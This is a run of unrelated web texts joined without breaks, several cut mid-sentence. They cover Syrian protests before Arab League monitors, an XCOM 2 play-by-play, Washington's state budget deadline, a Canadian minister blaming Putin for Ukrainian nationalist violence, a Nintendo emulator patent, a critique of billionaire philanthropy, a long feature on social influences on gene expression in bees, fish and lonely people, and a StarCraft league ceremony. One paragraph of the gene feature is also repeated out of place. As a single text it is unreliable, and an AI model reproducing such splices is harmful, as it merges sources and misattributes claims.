Assad, 46, has signed up to an Arab League plan for a verifiable withdrawal of his troops and heavy weaponry from towns and cities, where they have been trying to crush protests that have raged since March.
But the presence of Arab League monitors in hotspots across Syria since Monday has, if anything, energised the protesters, while provoking scepticism in Western countries.
Demonstrators determined to show the scale of their movement to the monitors threw rocks at security forces in the Damascus suburb of Douma, where troops tear-gassed the chanting crowds.
Five people were shot dead in the city of Hama and five in the city of Deraa as crowds braved army and police, the Observatory reported, adding that at least two dozen people had been injured in Douma.
“We are determined to show them (the monitors) we exist. Whether or not there’s bloodshed is not important,” an activist named Abu Khaled said by phone from the northern city of Idlib.
Most foreign media are banned from Syria and witness reports and videos are hard to verify.
An opposition supporter named Manhal said thousands had tried to reach the main square of Idlib to start a sit-in but failed “because the security forces are firing a lot of tear gas and a few rounds of live fire.”
“People hoped the presence of monitors will prevent fierce attacks. I believe we have partial protection, I don’t think they would use live fire on us in front of the monitors.”
The Observatory said security forces had shot dead two people and wounded 37 in Idlib province.
SEA OF PROTESTERS
Amateur video from Idlib showed monitors in white baseball caps and yellow safety vests wading through a sea of protesters.
Some rushed at the observers, trying to shout over the thousands chanting “The people want to liberate the country!.”
More than 5,000 people have been killed across Syria since March - most shot during peaceful anti-government protests but many others killed in rebel attacks and local defense actions.
Protesters flooded the streets of many towns, shouting “Peaceful, Peaceful” and “The people want you executed, Bashar!”
Some held up banners with the names of those shot dead in protests. “We will not forget your spilled blood,” they read.
In parts of Hama, videos showed protesters fleeing the main streets as heavy gunfire erupted in the background. In one such segment, a few men rushed back, ducking in the crackle of gunfire, to carry away a man who had fallen limp in the street.
In the Damascus suburb of Douma, protesters bore away a man whose leg had been shredded by what they said were nail bombs.
Activists in Idlib said the army had concealed its tanks in buildings on the outskirts or in dugouts.
The Arab League mission has met with strong scept |
close to a shambled building near two civilians and helps both of them clear the area and escape. Girard moves up to the corner of the building and takes cover, trying to get a better view. Yosef moves behind a nearby tree to get into full cover from the muton. Kelly drops down and behind a tree near Yosef. Even though it’s a longshot, she pulls out one of her axes and hurls it at the muton. However, she misses high. She fires off a shot from her bolt caster, but it goes low and hits the boulders in front of the muton instead. Yosef pops out and fires a quick shotgun blast at the muton but also misses. I move down to the base of the embankment to get closer for a better shot but still stay in full cover.
Off in the distance, another scream; another civilian death. The muton takes another shot at Yosef and hits again. I watch as Yosef screams and falls limp to the ground. I line up a shot at the muton and fire. I hit, but his armor takes some of the blast, and he’s still standing. Kelly moves up behind a pile of rubble and reloads her bolt caster. Girard moves to a nearby tree to assist another civilian in escaping. Ishikawa dashes to a fence line past Girard to survey the area. Girard moves to some rubble in the dirt road past the fence and hides behind cover.
The sound I’ve grown too accustomed to hearing, the dying screams of a civilian, are once again heard in the distance. The muton takes a shot at Kelly, but misses wide. I again peer out from behind my rock, line up a shot, and fire at the muton. Again I hit, and the armor absorbs some of the shot, but it’s enough to take him down this time. Ishikawa moves behind a tree on the side of the dirt road between two civilians. The first one runs off for safety. The second one turns and looks at Ishikawa and starts to transform into one of the mimics. Ishikawa lays a volley of bullets right into it, but it’s still standing. Girard moves over behind the fence to stay in cover in case things don’t go right and fires a blast at the mimic. He hits it square in it’s middle and it falls dead, hanging over the fence. Kelly cautiously moves up behind a tree to scout the area before moving to the base of another rise.
This time we actually get a small visual of a muton off in the distance taking out another civilian. Fearing another civilian casualty, Ishikawa dashes down the road to assist another civilian in escaping. Girard moves up near another civilian, but cannot find a safe spot close enough to help the civilian escape, so he waits. Kelly climbs up the rise and takes cover behind a tree. Not seeing anything, she moves to the side of the rise, but still does not see any enemies. I realize at this time that I’m too far away from any potential targets and make a mad dash towards the others’ locations. Girard plays it safe and goes into overwatch.
Off in the distance we see a trooper take down yet another civilian. Ishikawa moves forward into the open to help another civilian escape, and stumbles upon a muton and a stun lancer. He quickly repositions himself to take cover behind a chain fence. Girard moves into the open to assist another civilian with escaping, and then moves behind an abandoned car for cover. Kelly moves along the rise and then drops down to take cover behind a tree stump, where she spies an officer and stun lancer nearby. I’m still too far away to do anything, so I just continue to move closer to the action.
The muton lays down some suppressing fire on Ishikawa, while the first stun lancer moves up and takes down another civilian right in front of our eyes. The officer darts behind cover and takes a shot at Kelly that luckily misses. The other stun lancer rushes up and hits her with the stun lance. I see her go down and start to panic, and then realize she’s just stunned and not dead. She shakes it off and quickly recovers though, and moves over to the officer and takes him down with a well placed axe swing. Unable to move and not having a good shot while being suppressed, Ishikawa decides to return the favor and lays down suppressing fire on the muton. I take a moment and reload my sniper rifle, and then I fire a quick pistols shot at the second stun lancer, but I miss wide. Girard moves up to the fence line and takes down the first stun lancer with a well placed quickly fired rifle shot. He then takes aim and hits the muton with another well placed round. The creature’s armor prevents him from going down, but he’s hurt and no longer suppressing Ishikawa. I decide to set into overwatch in case the stun lancer makes a move on either Kelly or Girard.
The muton decides to move to a better position, but as soon as he starts to move Ishikawa’s suppressing fire mows him down. The stun lancer starts to head towards me. I take a shot as he moves advances on me, but my shot goes high. Everything goes fuzzy, and I start to feel disoriented. Not allowing him to hit me further, Girard targets the stun lancer and takes him down with a round from his rifle.
We get the confirmation that the area is clear of enemies. Our job is over and we head home. With seven enemies killed and seven civilians out of thirteen rescued, Central says we did a Good job. However, with Kelly and myself wounded and Yosef dead, I do not agree with that feeling. Girard is promoted up to Sergeant and learns the Revival Protocol skill. This teaches him how to send his GREMLIN drone to an ally to assist if they are stunned or disoriented or panicked. Kelly is also promoted. She is now a Lieutenant and learns how to Run and Gun. This allows her to move as far as she can and still be able to take an action.
Author Heath Markley
I have been an avid gamer for 32 years now. It started with the Atari 2600 my parents bought me as a child (my mom still says she regrets that decision), and I have never looked back. For my gaming, I enjoy RPG and strategy games the most, but I will play almost all games. Besides gaming, I am a family man (beautiful wife and three wonderful children) and a healthcare IT professional. So, gaming time is a premium for me, but I make the most of every chance I get.
Check out My Youtube Channel HereGov. Jay Inslee says he met with Democratic and Republican legislative leaders Monday to insist they start face-to-face negotiations on the state budget.
OLYMPIA — Washington lawmakers are nearing the end of their second special session, and with no signs that an agreement on education funding is near, a third overtime session seems all but inevitable.
In addition to satisfying a state Supreme Court ruling on increasing state money to basic education, lawmakers also face a more imminent deadline: If the broader two-year state operating budget isn’t signed in law by midnight June 30, the state faces a partial government shutdown starting July 1.
Gov. Jay Inslee said he met with leaders from each of the four caucuses Monday to insist that they start face-to-face negotiations on the overall budget, something he said they agreed to do, starting Tuesday.
“I appreciate the complexity of this challenge,” Inslee said at a news conference. “If there was an easy way to do this, indeed it would have been done already.”
In April, the Office of Financial Management (OFM) asked agencies to update their contingency plans in case of a shutdown and have been posting updates on its website. If a budget deal isn’t reached by the end of next week, about 26,000 state employees will receive temporary layoff notices.
While Washington state has never had a partial government shutdown, the Legislature has taken its budget talks to the brink before, including in 2013 and 2015, with budgets not signed by the governor until June 30 both years.
“It’s disappointing that we’re here all over again,” said David Schumacher, OFM’s director.
The state has been in contempt of court since 2014 for lack of progress on satisfying a 2012 state Supreme Court ruling that found that school funding was not adequate or uniform. Lawmakers have already put more than $2 billion toward the issue since the ruling, but the biggest piece remaining of the court order is figuring out how much the state must provide for teacher salaries. School districts now pay a big chunk of those salaries with local property-tax levies.
The Legislature must have a fully funded plan in place before they adjourn this year or they risk the court stepping in. The GOP-led Senate and Democratic-controlled House have disagreed on areas, including whether new taxes are needed.
The second 30-day special session ends June 21, a day after lawmakers will receive an updated revenue forecast. Inslee said that while lawmakers may need a third special session to complete his work, he said he would not accept a temporary short-term budget to get them through the next month.
While most of the 147 members have been back home in their districts since the regular 105-day session ended at the end of April, a bipartisan group of lawmakers have been meeting several times a week to negotiate policy surrounding education funding.
Schumacher said that there are numerous groups that are talking about things in the budget, including mental health, and that several members of the governor’s office have been involved in helping facilitate conversations on the broader budget picture.
“There’s still time for them to get done if they start moving here soon,” he said. “They are kind of running out of time to get done by July 1 if they wait much longer.”The Conservatives’ Rob Nicholson is blaming Russian leader Vladimir Putin for the deadly attacks launched by vehemently anti-Russian groups in Ukraine.
Nicholson, who is running for re-election, has been serving as Canada’s Foreign Affairs minister.
Three security officers were killed and 140 injured in clashes between Ukraine government forces and the anti-Russian groups, including members of the ultranationalist Svoboda party.
Ukraine government investigators have summoned nearly 30 people for questioning in connection with the attacks, including Svoboda leader Oleh Tyahnybok.
Tyahnybok was among the Ukrainian officials who in 2014 greeted then-Foreign Affairs minister John Baird in Kyiv. Baird had travelled to Ukraine to pledge Canada’s support for its new government.
But Nicholson on Tuesday issued a statement saying that Putin was responsible for the violence caused by the anti-Russian extremists.
“This tragic incident draw (sic) its source from the instability caused by Russian aggression in Eastern Ukraine, in particular those orchestrated by Putin and his regime,” said Nicholson.
Asked how the Russian leader could be responsible for violence caused by those who revile him, Stephen Lecce, a spokesman for the Conservative campaign, stated the following in an email: “The current climate of instability in Ukraine is a direct result of the Putin-backed insurgency in East Ukraine, its incessant propaganda, and the Kremlin’s aspiration to bring Kyiv under its repression.”
Most of the 100 violent protesters fighting with Ukrainian government security forces were members of Svoboda, which holds only a handful of seats in parliament. Wielding truncheons, pipes and sticks with nails, they clashed against police in riot gear. The deaths were caused when one of the right-wing extremists threw a grenade at government forces.
The battles between the ultranationalists and Ukraine’s government shows the fragile nature of the situation in the country.
Ukraine’s parliament supports a bill that would give autonomy to areas in eastern Ukraine, which tend to identify more with Russia. Western nations are supportive of the bill, which they hope would help put a stop to fighting between the government and rebels in eastern Ukraine who advocate separation. The rebels have been supported by Russia.
But the ultranationalists accuse the government and Ukraine’s pro-western President Petro Poroshenko of undermining the country with the new bill.
The Conservatives were warned earlier this year about the danger posed by the ultranationalist groups.
Canadian Forces officers brought in measures to ensure that Canadian troops now training Ukraine’s military would not provide such skills to ultranationalist militias, Defence Minister Jason Kenney acknowledged at a briefing in April.
Canada has been a key supporter for Ukraine’s government and has denounced Russian involvement in the ongoing crisis in the region.
Prime Minister Stephen Harper pledged $400 million in loans to help Ukraine’s near-bankrupt government. Canada has also supplied non-lethal military equipment.
But some former diplomats have pointed out the Conservative government’s support is more geared towards domestic politics in that Canada’s more than one million Ukrainian-Canadians are potentially a game-changing voting bloc in October’s federal election.
An Ottawa Citizen analysis last year identified 12 ridings where such voters could help sway the outcome of an election. In six of the ridings, Conservative candidates won victories in 2011 of less than 1,000 votes and in some cases just several hundred votes.
– with files from the Associated Press
dpugliese@ottawacitizen.com
Twitter.com/davidpuglieseIf you're reading this, there's a good chance that you have at least some familiarity with video game emulators (which are legal), and ROMS (which are not quite legal). They’ve been around for years. But much like Columbus discovering America despite a presence of natives, Nintendo can now take credit for something that others had been doing for long time.
The Big N’s been granted a patent for a “software emulator for emulating a handheld video game platform such as GAME BOY,” according to U.S. Patent 8,157,654.
It’s a bit ironic that Nintendo should be the owner of a software emulation patent, considering that it’s been doing everything in its power to maintain the “hardware company” status quo. It’s this very shift from dedicated video gaming hardware, to video-gaming-as-a-software-feature that has quite literally reversed the company’s fortunes from a share price of $71 in October 2007 to around $17 today.
Unlike some of Nintendo’s family-friendly titles, the battle between consoles and smartphones/tables is more and more becoming a zero-sum game, and it’s difficult to imagine Nintendo, Sony, or Microsoft as the victors without a fundamental shift in strategy. With Windows Phone and Xbox Live, Microsoft seems best positioned to make the transition. Sony is hedging its bets with PlayStation Suite for Android devices.
And Nintendo? Nintendo now owns U.S. Patent 8,157,654, giving it the legal permission to become the next Sega.
[USPTO]
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Get more GeekTech: Twitter - Facebook - RSS | Tip us offIn search of real philanthropy
It is heartwarming to see Bill Gates and Warren Buffett have achieved some success this week with the visit of their traveling philanthropy road show to China. A number of rich Chinese have apparently promised "very generous gifts" to the Gates-Buffett initiative to get billionaires from around the world to give at least half their wealth to philanthropic causes. It has been estimated that the effort by America’s two richest men could net up to $150 billion for good causes from the commitments they already have.
It is impossible to fault such efforts at voluntary redistribution of wealth from the infinitesimal few who have the most to the many who have so little. After all philanthropy comes from roots meaning the love of man or mankind and certainly we never can have enough of that in a world in which such sentiments are as spottily distributed and scarce as great personal fortunes.
Still, for all the momentum behind the Gates-Buffet-Clinton Global Initiative modern philanthropy trend, it is important we realize the short-comings of such efforts. Leaving decisions about how assets are distributed to address global problems to the rich is as unjust as letting them have a disproportionate voice in politics or setting any other priorities for the bulk of society. They answer to no one and come with their own biases and knowledge gaps no matter how well intentioned they are. Further, while philanthropy is a useful adjunct to public sector efforts to address social needs it can sometimes serve as a screen or preemptive argument suggesting that either government programs can be cut back on the one hand or that we needn’t tax the rich or question the gross inequities in our economic system by which they have benefitted.
No, while we applaud the donor billionaires we should also continue question how we can fix a system that has allowed the creation of something over a thousand billionaires among six billion people, a cadre that has a net worth equal to something like the poorest 2.5 billion of their fellow humans. And we might even encourage even the most generous of these billionaires to go further and campaign as actively for programs that give all the people more say in where the riches produced by society go … programs like income taxes.
In fact, that would be the most moving and groundbreaking initiative this election season … a movement among the rich to embrace an adjustment of the tax code to enable us to stop borrowing from our children to finance a system that enriches so few. That would be real philanthropy … rich Americans arguing for dropping the Bush tax cuts to ensure future generations had a fair shot at a decent life rather toiling to pay for the excesses of their parents and grandparents.Your DNA is not a blueprint. Day by day, week by week, your genes are in a conversation with your surroundings. Your neighbors, your family, your feelings of loneliness: They don't just get under your skin, they get into the control rooms of your cells. Inside the new social science of genetics.
(Illustration: Jeremy Dimmock)
A few years ago, Gene Robinson, of Urbana, Illinois, asked some associates in southern Mexico to help him kidnap some 1,000 newborns. For their victims they chose bees. Half were European honeybees, Apis mellifera ligustica, the sweet-tempered kind most beekeepers raise. The other half were ligustica’s genetically close cousins, Apis mellifera scutellata, the African strain better known as killer bees. Though the two subspecies are nearly indistinguishable, the latter defend territory far more aggressively. Kick a European honeybee hive and perhaps a hundred bees will attack you. Kick a killer bee hive and you may suffer a thousand stings or more. Two thousand will kill you.
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Working carefully, Robinson’s conspirators—researchers at Mexico’s National Center for Research in Animal Physiology, in the high resort town of Ixtapan de la Sal—jiggled loose the lids from two African hives and two European hives, pulled free a few honeycomb racks, plucked off about 250 of the youngest bees from each hive, and painted marks on the bees’ tiny backs. Then they switched each set of newborns into the hive of the other subspecies.
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Robinson, back in his office at the University of Illinois at Urbana-Champaign’s Department of Entomology, did not fret about the bees’ safety. He knew that if you move bees to a new colony in their first day, the colony accepts them as its own. Nevertheless, Robinson did expect the bees would be changed by their adoptive homes: He expected the killer bees to take on the European bees’ moderate ways and the European bees to assume the killer bees’ more violent temperament. Robinson had discovered this in prior experiments. But he hadn’t yet figured out how it happened.
He suspected the answer lay in the bees’ genes. He didn’t expect the bees’ actual DNA to change: Random mutations aside, genes generally don’t change during an organism’s lifetime. Rather, he suspected the bees’ genes would behave differently in their new homes—wildly differently.
This notion was both reasonable and radical. Scientists have known for decades that genes can vary their level of activity, as if controlled by dimmer switches. Most cells in your body contain every one of your 22,000 or so genes. But in any given cell at any given time, only a tiny percentage of those genes is active, sending out chemical messages that affect the activity of the cell. This variable gene activity, called gene expression, is how your body does most of its work.
The fish underwent massive surges in gene expression that immediately blinged up his pewter coloring with lurid red and blue streaks and, in a matter of hours, caused him to grow some 20 percent. It was as if Jason Schwartzman, coming to work one day to learn the big office stud had quit, morphed into Arnold Schwarzenegger by close of business.
Sometimes these turns of the dimmer switch correspond to basic biological events, as when you develop tissues in the womb, enter puberty, or stop growing. At other times gene activity cranks up or spins down in response to changes in your environment. Thus certain genes switch on to fight infection or heal your wounds—or, running amok, give you cancer or burn your brain with fever. Changes in gene expression can make you thin, fat, or strikingly different from your supposedly identical twin. When it comes down to it, really, genes don’t make you who you are. Gene expression does. And gene expression varies depending on the life you live.
Every biologist accepts this. That was the safe, reasonable part of Robinson’s notion. Where he went out on a limb was in questioning the conventional wisdom that environment usually causes fairly limited changes in gene expression. It might sharply alter the activity of some genes, as happens in cancer or digestion. But in all but a few special cases, the thinking went, environment generally brightens or dims the activity of only a few genes at a time.
Robinson, however, suspected that environment could spin the dials on “big sectors of genes, right across the genome”—and that an individual’s social environment might exert a particularly powerful effect. Who you hung out with and how they behaved, in short, could dramatically affect which of your genes spoke up and which stayed quiet—and thus change who you were.
Robinson was already seeing this in his bees. The winter before, he had asked a new post-doc, Cédric Alaux, to look at the gene-expression patterns of honeybees that had been repeatedly exposed to a pheromone that signals alarm. (Any honeybee that detects a threat emits this pheromone. It happens to smell like bananas. Thus “it’s not a good idea,” says Alaux, “to eat a banana next to a bee hive.”)
To a bee, the pheromone makes a social statement: Friends, you are in danger. Robinson had long known that bees react to this cry by undergoing behavioral and neural changes: Their brains fire up and they literally fly into action. He also knew that repeated alarms make African bees more and more hostile. When Alaux looked at the gene-expression profiles of the bees exposed again and again to alarm pheromone, he and Robinson saw why: With repeated alarms, hundreds of genes—genes that previous studies had associated with aggression—grew progressively busier. The rise in gene expression neatly matched the rise in the aggressiveness of the bees’ response to threats.
Robinson had not expected that. “The pheromone just lit up the gene expression, and it kept leaving it higher.” The reason soon became apparent: Some of the genes affected were transcription factors—genes that regulate other genes. This created a cascading gene-expression response, with scores of genes responding.
This finding inspired Robinson’s kidnapping-and-cross-fostering study. Would moving baby bees to wildly different social environments reshape the curves of their gene-expression responses? Down in Ixtapan, Robinson’s collaborators suited up every five to 10 days, opened the hives, found about a dozen foster bees in each one, and sucked them up with a special vacuum. The vacuum shot them into a chamber chilled with liquid nitrogen. The intense cold instantly froze the bees’ every cell, preserving the state of their gene activity at that moment. At the end of six weeks, when the researchers had collected about 250 bees representing every stage of bee life, the team packed up the frozen bees and shipped them to Illinois.
There, Robinson’s staff removed the bees’ sesame-seed-size brains, ground them up, and ran them through a DNA microarray machine. This identified which genes were busy in a bee’s brain at the moment it met the bee-vac. When Robinson sorted his data by group—European bees raised in African hives, for instance, or African bees raised normally among their African kin—he could see how each group’s genes reacted to their lives.
Robinson organized the data for each group onto a grid of red and green color-coded squares: Each square represented a different gene, and its color represented the group’s average rate of gene expression. Red squares represented genes that were especially active in most of the bees in that group; the brighter the red, the more bees in which that gene had been busy. Green squares represented genes that were silent or underactive in most of the group. The printout of each group’s results looked like a sort of cubist Christmas card.
When he got the cards, says Robinson, “the results were stunning.” For the bees that had been kidnapped, life in a new home had indeed altered the activity of “whole sectors” of genes. When their gene expression data was viewed on the cards alongside the data for groups of bees raised among their own kin, a mere glance showed the dramatic change. Hundreds of genes had flipped colors. The move between hives didn’t just make the bees act differently. It made their genes work differently, and on a broad scale.
What’s more, the cards for the adopted bees of both species came to ever more resemble, as they moved through life, the cards of the bees they moved in with. With every passing day their genes acted more like those of their new hive mates (and less like those of their genetic siblings back home). Many of the genes that switched on or off are known to affect behavior; several are associated with aggression. The bees also acted differently. Their dispositions changed to match that of their hive mates. It seemed the genome, without changing its code, could transform an animal into something very like a different subspecies.
These bees didn’t just act like different bees. They’d pretty much become different bees. To Robinson, this spoke of a genome far more fluid—far more socially fluid—than previously conceived.
Robinson soon realized he was not alone in seeing this. At conferences and in the literature, he kept bumping into other researchers who saw gene networks responding fast and wide to social life. David Clayton, a neurobiologist also on the University of Illinois campus, found that if a male zebra finch heard another male zebra finch singing nearby, a particular gene in the bird’s forebrain would "re up—and it would do so differently depending on whether the other finch was strange and threatening, or familiar and safe.
Others found this same gene, dubbed ZENK ramping up in other species. In each case, the change in ZENK's activity corresponded to some change in behavior: a bird might relax in response to a song, or become vigilant and tense. Duke researchers, for instance, found that when female zebra finches listened to male zebra finches’ songs, the females’ ZENK gene triggered massive gene-expression changes in their forebrains—a socially sensitive brain area in birds as well as humans. The changes differed depending on whether the song was a mating call or a territorial claim. And perhaps most remarkably, all
of these changes happened incredibly fast—within a half hour, sometimes within just five minutes.
Gene Robinson, an entomologist at the University of Illinois, found that when European honeybees are raised among more aggressive African killer bees, they not only start to become as belligerent as their new hive mates—they come to genetically resemble them. (Photo: Courtesy of Gene Robinson)
ZENK, it appeared, was a so-called “immediate early gene,” a type of regulatory gene that can cause whole networks of other genes to change activity. These sorts of regulatory gene-expression response had already been identified in physiological systems such as digestion and immunity. Now they also seemed to drive quick responses to social conditions.
One of the most startling early demonstrations of such a response occurred in 2005 in the lab of Stanford biologist Russell Fernald. For years, Fernald had studied the African cichlid Astatotilapia burtoni, a freshwater fish about two inches long and dull pewter in color. By 2005 he had shown that among burtoni, the top male in any small population lives like some fishy pharaoh, getting far more food, territory, and sex than even the No. 2 male. This No. 1 male cichlid also sports a bigger and brighter body. And there is always only one No. 1.
I wonder, Fernald thought, what would happen if we just removed him?
So one day Fernald turned out the lights over one of his cichlid tanks, scooped out big flashy No. 1, and then, 12 hours later, flipped the lights back on. When the No. 2 cichlid saw that he was now No. 1, he responded quickly. He underwent massive surges in gene expression that immediately blinged up his pewter coloring with lurid red and blue streaks and, in a matter of hours, caused him to grow some 20 percent. It was as if Jason Schwartzman, coming to work one day to learn the big office stud had quit, morphed into Arnold Schwarzenegger by close of business.
These studies, says Greg Wray, an evolutionary biologist at Duke who has focused on gene expression for over a decade, caused quite a stir. “You suddenly realize birds are hearing a song and having massive, widespread changes in gene expression in just 15 minutes? Something big is going on.”
This big something, this startlingly quick gene-expression response to the social world, is a phenomenon we are just beginning to understand. The recent explosion of interest in “epigenetics”—a term literally meaning “around the gene,” and referring to anything that changes a gene’s effect without changing the actual DNA sequence—has tended to focus on the long game of gene-environment interactions: how famine among expectant mothers in the Netherlands during World War II, for instance, affected gene expression and behavior in their children; or how mother rats, by licking and grooming their pups more or less assiduously, can alter the wrappings around their offspring’s DNA in ways that influence how anxious the pups will be for the rest of their lives. The idea that experience can echo in our genes across generations is certainly a powerful one. But to focus only on these narrow, long-reaching effects is to miss much of the action where epigenetic influence and gene activity is concerned. This fresh work by Robinson, Fernald, Clayton, and others—encompassing studies of multiple organisms, from bees and birds to monkeys and humans—suggests something more exciting: that our social lives can change our gene expression with a rapidity, breadth, and depth previously overlooked.
Why would we have evolved this way? The most probable answer is that an organism that responds quickly to fast-changing social environments will more likely survive them. That organism won’t have to wait around, as it were, for better genes to evolve on the species level. Immunologists discovered something similar 25 years ago: Adapting to new pathogens the old-fashioned way—waiting for natural selection to favor genes that create resistance to specific pathogens—would happen too slowly to counter the rapidly changing pathogen environment. Instead, the immune system uses networks of genes that can respond quickly and flexibly to new threats.
We appear to respond in the same way to our social environment. Faced with an unpredictable, complex, ever-changing population to whom we must respond successfully, our genes behave accordingly—as if a fast, fluid response is a matter of life or death.
About the time Robinson was seeing fast gene expression changes in bees, in the early 2000s, he and many of his colleagues were taking notice of an up-and-coming UCLA researcher named Steve Cole.
Cole, a Californian then in his early 40s, had trained in psychology at the University of California-Santa Barbara and Stanford; then in social psychology, epidemiology, virology, cancer, and genetics at UCLA. Even as an undergrad, Cole had “this astute, fine-grained approach,” says Susan Andersen, a professor of psychology now at NYU who was one of his teachers at UC Santa Barbara in the late 1980s. “He thinks about things in very precise detail.”
"If you actually measure stress, using our best available instruments, it can't hold a candle to social isolation. Social isolation is the best-established, most robust social or psychological risk factor for disease out there. Nothing can compete."
In his post-doctoral work at UCLA, Cole focused on the genetics of immunology and cancer because those fields had pioneered hard-nosed gene-expression research. After that, he became one of the earliest researchers to bring the study of whole-genome gene-expression to social psychology. The gene’s ongoing, real-time response to incoming information, he realized, is where life works many of its changes on us. The idea is both reductive and expansive. We are but cells. At each cell’s center, a tight tangle of DNA writes and hands out the cell’s marching orders. Between that center and the world stand only a series of membranes.
“Porous membranes,” notes Cole.
“We think of our bodies as stable biological structures that live in the world but are fundamentally separate from it. That we are unitary organisms in the world but passing through it. But what we’re learning from the molecular processes that actually keep our bodies running is that we’re far more fluid than we realize, and the world passes through us.”
Cole told me this over dinner. We had met on the UCLA campus and walked south a few blocks, through bright April sun, to an almost empty sushi restaurant. Now, waving his chopsticks over a platter of urchin, squid, and amberjack, he said, “Every day, as our cells die off, we have to replace one to two percent of our molecular being. We’re constantly building and re-engineering new cells. And that regeneration is driven by the contingent nature of gene expression.
“This is what a cell is about. A cell,” he said, clasping some amberjack, “is a machine for turning experience into biology.”
When Cole started his social psychology research in the early 1990s, the microarray technology that spots changes in gene expression was still in its expensive infancy, and saw use primarily in immunology and cancer. So he began by using the tools of epidemiology—essentially the study of how people live their lives. Some of his early papers looked at how social experience affected men with HIV. In a 1996 study of 80 gay men, all of whom had been HIV-positive but healthy nine years earlier, Cole and his colleagues found that closeted men succumbed to the virus much more readily.
He then found that HIV-positive men who were lonely also got sicker sooner, regardless of whether they were closeted. Then he showed that closeted men without HIV got cancer and various infectious diseases at higher rates than openly gay men did. At about the same time, psychologists at Carnegie Mellon finished a well-controlled study showing that people with richer social ties got fewer common colds.
Something about feeling stressed or alone was gumming up the immune system—sometimes fatally.
“You’re besieged by a virus that’s going to kill you,” says Cole, “but the fact that you’re socially stressed and isolated seems to shut down your viral defenses. What’s going on there?”
He was determined to find out. But the research methods on hand at the time could take him only so far: “Epidemiology won’t exactly lie to you. But it’s hard to get it to tell you the whole story.” For a while he tried to figure things out at the bench, with pipettes and slides and assays. “I’d take norepinephrine [a key stress hormone] and squirt it on some infected T-cells and watch the virus grow faster. The norepinephrine was knocking down the antiviral response. That’s great. Virologists love that. But it’s not satisfying as a complete answer, because it doesn’t fully explain what’s happening in the real world.
“You can make almost anything happen in a test tube. I needed something else. I had set up all this theory. I needed a place to test it.”
His next step was to turn to rhesus monkeys, a lab species that allows controlled study. In 2007, he joined John Capitanio, a primatologist at the University of California-Davis, in looking at how social stress affected rhesus monkeys with SIV, or simian immunodeficiency virus, the monkey version of HIV. Capitanio had found that monkeys with SIV fell ill and died faster if they were stressed out by constantly being moved into new groups among strangers—a simian parallel to Cole’s 1996 study on lonely gay men.
Capitanio had run a rough immune analysis that showed the stressed monkeys mounted weak antiviral responses. Cole offered to look deeper. First he tore apart the lymph nodes—“ground central for infection”—and found that in the socially stressed monkeys, the virus bloomed around the sympathetic nerve trunks, which carry stress signals into the lymph node.
“This was a hint,” says Cole: The virus was running amok precisely where the immune response should have been strongest. The stress signals in the nerve trunks, it seemed, were getting either muted en route or ignored on arrival. As Cole looked closer, he found it was the latter: The monkeys’ bodies were generating the appropriate stress signals, but the immune system didn’t seem to be responding to them properly. Why not? He couldn’t find out with the tools he had. He was still looking at cells. He needed to look inside them.
Finally Cole got his chance. At UCLA, where he had been made a professor in 2001, he had been working hard to master gene-expression analysis across an entire genome. Microarray machines—the kind Gene Robinson was using on his bees—were getting cheaper. Cole got access to one and put it to work.
Thus commenced what we might call the lonely people studies.
First, in collaboration with University of Chicago social psychologist John Cacioppo, Cole mined a questionnaire about social connections that Cacioppo had given to 153 healthy Chicagoans in their 50s and 60s. Cacioppo and Cole identified the eight most socially secure people and the six loneliest and drew blood samples from them. (The socially insecure half-dozen were lonely indeed; they reported having felt distant from others for the previous four years.) Then Cole extracted genetic material from the blood’s leukocytes (a key immune-system player) and looked at what their DNA was up to.
He found a broad, weird, strongly patterned gene-expression response that would become mighty familiar |
o, who came in quietly explaining he wouldn't put on a crazy show because being a coach he had to set an example to his players. But you would be wrong in thinking that that was all FBH had in store for us. More on that later!One of the most anticipated players was without a doubt ToSsGirL, who was excited to finally make her comeback after getting married. Her only regret was that YellOw would be missing in the league. Perhaps she wanted to even out the 2-3 record she's had with him since her progaming days? Anyway, Shuttle explained that the popularity of his Afreeca stream doesn't come from his soothing voice but rather his beautiful face and Mind admitted that his quiet personality may not be best suited for Afreeca streaming but added that many fans still come and watch his stream when they need to fall asleep.Snow surprised the commentators when he remarked he would like to avoid facing the ex CJ Entus semi-progamer Sea.KH. He went on explaining he found the guy annoying during his progaming days and did not want to play under stress. After a short commercial break, Zeus fired up the audience by staying true to his nickname - the Ceremony Toss. Recently married, Zeus announced some personal news by piggybacking a baby doll. He then proclaimed himself a "living legend of StarCraft! Or uh, maybe a fossil.." and left the baby doll to its fate in the male dominated audience. Pure amused himself by saying he's practicing hard tothe Starleague.The Protoss party was finally ruined by ZerO, who said he would love to take his revenge on JangBi. The Young Prince also vented his frustration with Kim Carry for his passionate cheering on JangBi during their famous Tving OSL series. Carry promised he would repent in all of ZerO's games he'll get to cast. Asked how he sees his chances, ZerO recommended the commentators look up his winrate.HiyA's entrance was oddly formal, but his unexpected funky voice caught everyone off-guard. Hiya said he would prefer the most difficult group, so he would join ToSsGirL, Hyuk and Sea.KH in group D. According to Fishiking, rather than skill, these players haveOne moment in the ceremony certainly stood out as we did not need any translation for it. Known for reaching out to his Chinese and foreign fans, Teacher Movie stated that with this Starleague it is clear that Brood War isn't over and the fact that it is still here makes his heart race. Finally, he prepared some words of wisdom he wanted to share with us The group drawing would be over with one of the most popular Afreeca streamers, Larva, who introduced himself as the Jaedong of Afreeca. Larva then asked the commentators to look after their positions, as he often commentates as well. Jeong Sorim inquired whether it is TheMarine or Kim Carry who should be more worried, which Larva countered by saying that he is a caster, meaning he could take over Jeong Sorim's position. Needless to say this was accepted with heavy cheers from both of her male colleagues.With the groups all set, it was time the seven seeds decided which player in their respective groups they wanted to face first. Movie struggled with his decision so much that he asked to be the last one to do it. With neither player objecting to that, Mini decided to stick with firebathero rather than facing Killer or PianO. It was right then that firebathero revealed, a glorious smile on his face, that he has been hunting progamers on the Fish server for a long time now with none of them knowing his ID. Zeus put on his murderer face when hero picked him for his first opponent. Mad since he came here to get some money and buy milk for his little baby, Zeus continued to stare down hero who bowed his head in shame but did not take his request back. Larva was disappointed in his group consisting only of players of the same (low) skill, and finally decided to play Sharp first. Sharp responded by saying that earlier he would beat Larva without his mouse, but even if that might not be the case now, if he can play with the right mindset, he can beat Larva again. HiyA called out free on his perverted reaver heavy play style, Tyson on only being able to win games by going carriers and finally Lazy on being unable to do anything and still not resorting to carriers, picking him for his first opponent. After careful consideration, Movie surprisingly decided not to pick the amateur force[Name]. Instead he opted to face sSak first, which concluded the entertaining and highly insightful group selection.With the Starleague returning to OnGameNet with a successful group selection ceremony and the Kongdoo Starz League starting soon, Brood War is back in full force for 2015.It's been 